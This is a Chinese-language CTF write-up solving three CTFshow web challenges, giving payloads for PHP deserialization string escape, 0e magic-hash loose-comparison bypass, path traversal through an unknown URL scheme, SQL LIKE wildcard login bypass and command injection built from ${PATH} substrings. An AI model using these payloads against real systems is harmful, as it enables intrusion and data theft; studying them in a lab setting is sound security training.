1. 程式人生 > 其它 >CTFSHOW-日刷-[月餅杯]web

CTFSHOW-日刷-[月餅杯]web

此夜圓

下載檢視原始碼

<?php
error_reporting(0);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yu22x
') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1
]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>

貌似是要讓password等於yu22x

但是password固定是1了,這裡可以發現有個過濾會把Firebasky替換成Firebaskyup,雖然這個單詞意義不明,但是重要的是長度發生了變化,可以藉此繞過。

傳入:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

即可,原理是替換後長度增加,但是序列化後的數字沒變,會導致提前閉合,把我們傳入的字串當作序列化的一部分。

故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差點點就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一個都過不了還想要flag呀?!';
}
第一個都過不了還想要flag呀?!

第一關,前面三個好實現,第三個平方為0,但是和前面不為0 矛盾。

其實玩過計算器啥的知道小數夠小會當作0的。這裡輸入a=1e-200即可

第二關是滿足hash2和自身相等,和hash2的hash2和自身相等的兩個數字

這裡利用PHP在處理雜湊字串時,會利用”!=”或”==”來對雜湊值進行比較,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。即如果md的值是以0e開頭的,那麼就與其他的0e開頭的Md5值是相等的。

這裡再robots裡有提示,爆破即可,這裡直接給出答案:b=0e652024452,c=0e603448399。

可以看出告訴你flag在根目錄下了

 if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }

這裡要求傳入引數是url格式,同時含有ctfshow.com就會檔案讀取。但是我們要讀取本地檔案

這裡利用php中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。

我們隨便寫個協議test://,加上ctfshow.com它會認為是目錄,最後目錄穿越即可

url=test://ctfshow.com/../../../../../../fl0g.txt

莫負嬋娟

檢視前端程式碼

可以發現sql語句,這裡開始犯傻了,後面反應過來了這是like模糊匹配,我們直接用萬用字元就行了

% 表示零個或多個字元的任意字串
_(下劃線)表示任何單個字元
[ ] 表示指定範圍 ([a-f]) 或集合 ([abcdef]) 中的任何單個字元
[^] 不屬於指定範圍 ([a-f]) 或集合 ([abcdef]) 的任何單個字元
* 它同於DOS命令中的萬用字元,代表多個字元
?同於DOS命令中的?萬用字元,代表單個字元
# 大致同上,不同的是代只能代表單個數字

試了發現_沒過濾

賬號5個下劃線,密碼32個下劃線

發現登入進去貌似沒啥用

這裡發現賬號給你了yu22x,通過一位一位的跑,可以知道密碼是67815b0c009ee970fe4014abaa3Fa6A0

用賬號密碼登入後,發現ip輸入框

這裡大概率是命令執行,測試一下發現小寫字母全被過濾。大寫字母、數字、$:沒被過濾。

這裡用環境變數構造ls

linux中輸入echo $path

${PATH:5:1}就是第五個(0開始)去一位就是l

同理構造${PATH:14:1}${PATH:5:1} ????.???

就是nl flag.php 符合????.???就這一個